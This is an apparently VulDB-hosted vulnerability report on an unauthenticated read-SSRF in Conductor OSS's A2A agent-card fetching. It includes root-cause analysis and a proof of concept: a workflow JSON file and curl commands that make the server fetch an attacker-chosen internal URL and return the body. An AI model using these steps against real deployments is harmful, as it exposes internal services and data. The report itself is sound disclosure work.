| tiêu đề | Conductor OSS Conductor >= 3.32.0 (3.31.2-3.32.0-rc.13 only with explicit opt-in) server-side request forgery (CWE-918) |
|---|
| Mô tả | Anonymous caller can make the A2A task fetch and return any URL (read SSRF)
Anonymous caller can make the A2A task fetch and return any URL (read SSRF)
Data flow: HTTP workflow definition: tasks[].inputParameters.agentUrl at POST /api/metadata/workflow + POST /api/workflow/{name} → A2AService.getAgentCard -> OkHttp GET {agentUrl}/.well-known/agent-card.json; response body returned as task output
AFFECTED INTERFACES
- POST /api/metadata/workflow (GET_AGENT_CARD task, agentType=a2a, agentUrl) then POST /api/workflow/{name}
Primary route detail:
POST /api/metadata/workflow (GET_AGENT_CARD task, agentType=a2a, agentUrl) then POST /api/workflow/{name}
ROOT CAUSE
1. Source: the HTTP JSON workflow definition; tasks[].inputParameters.agentUrl (and optional
headers) is fully caller-controlled.
2. A2AWorkers.getAgentCard() (ai/src/main/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkers.java:164)
validates only that agentType is a2a and that agentUrl is non-blank.
3. A2AService.getAgentCard() (ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java:187)
calls validateAgentUrl() and then performs an OkHttp GET against
{agentUrl}/.well-known/agent-card.json (or /.well-known/agent.json), returning the parsed card
to the caller as task output.
4. validateAgentUrl() (A2AService.java:432) blocks only cloud-metadata addresses in the default
configuration: allowPrivateNetwork is read from conductor.a2a.client.allow-private-network
with a default of true (A2AService.java:169-178), so loopback, RFC1918, link-local and
IPv6 unique-local destinations are permitted by default.
Consequence: an anonymous caller can make the Conductor server issue HTTP requests to arbitrary
internal destinations (loopback services, other containers/hosts on the deployment network) and read
the response back through the completed task's outputData, i.e. a full read-SSRF primitive rather
than a blind one.
PROOF OF CONCEPT
Baseline: commit ce46eac, server on 127.0.0.1:18081 with conductor.integrations.ai.enabled=true;
conductor.a2a.client.allow-private-network left at its documented default. The destination is a
test-local HTTP listener on 127.0.0.1:18992 that serves a constant agent-card document.
1. Register a GET_AGENT_CARD workflow (no Authorization header):
$ cat a2a-workflow.json
{
"name": "a2a-agent-card-test",
"version": 1,
"tasks": [{
"name": "a2a_agent_card",
"taskReferenceName": "a2a_card_ref",
"type": "GET_AGENT_CARD",
"inputParameters": { "agentType": "a2a", "agentUrl": "http://127.0.0.1:18992" }
}],
"schemaVersion": 2,
"ownerEmail": "[email protected]",
"timeoutPolicy": "ALERT_ONLY",
"timeoutSeconds": 0
}
$ curl -s -o /dev/null -w '%{http_code}' -X POST 'http://127.0.0.1:18081/api/metadata/workflow' \
-H 'Content-Type: application/json' -d @a2a-workflow.json
200
2. Start it (no Authorization header; the response carries the workflow id):
$ curl -s -X POST 'http://127.0.0.1:18081/api/workflow/a2a-agent-card-test' \
-H 'Content-Type: application/json' -d '{"version":1}'
HTTP/1.1 200
3. What the listener logged:
$ cat a2a_canary.log
GET /.well-known/agent-card.json Host=127.0.0.1:18992
4. Task output - the fetched card is returned to the caller:
workflow status: COMPLETED
a2a_card_ref GET_AGENT_CARD COMPLETED
outputData.agentCard = {"name": "canary-agent", "description": "local canary",
"url": "http://127.0.0.1:18992/rpc", "version": "0.0.1", ...}
The caller receives the body fetched from the selected destination, so this is a read primitive, not
a blind connect.
IMPACT
See the interface and root-cause sections: an actor who satisfies the stated preconditions makes the server perform a request or operation on a destination/target of the attacker's choosing, crossing the trust boundary described above.
- Project repository: https://github.com/conductor-oss/conductor
- Security policy: `SECURITY.md` in that repository.
- **Vendor contact**: GitHub Private Vulnerability Reporting - conductor-oss/conductor
- **Status**: vendor notified 2026-09-14 through GitHub Private Vulnerability Reporting; private report https://github.com/conductor-oss/conductor/security/advisories/GHSA-94rg-4h9f-qc3f; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
|
|---|
| Người dùng | lucasg2g (UID 84737) |
|---|
| Đệ trình | 15/09/2026 09:22 (cách đây 1 tháng) |
|---|
| Kiểm duyệt | 12/10/2026 16:44 (27 days later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 416945 [conductor-oss conductor đến 3.32.5 Agent Card Fetching A2AService.java A2AService.getAgentCard agentUrl nâng cao đặc quyền] |
|---|
| điểm | 17 |
|---|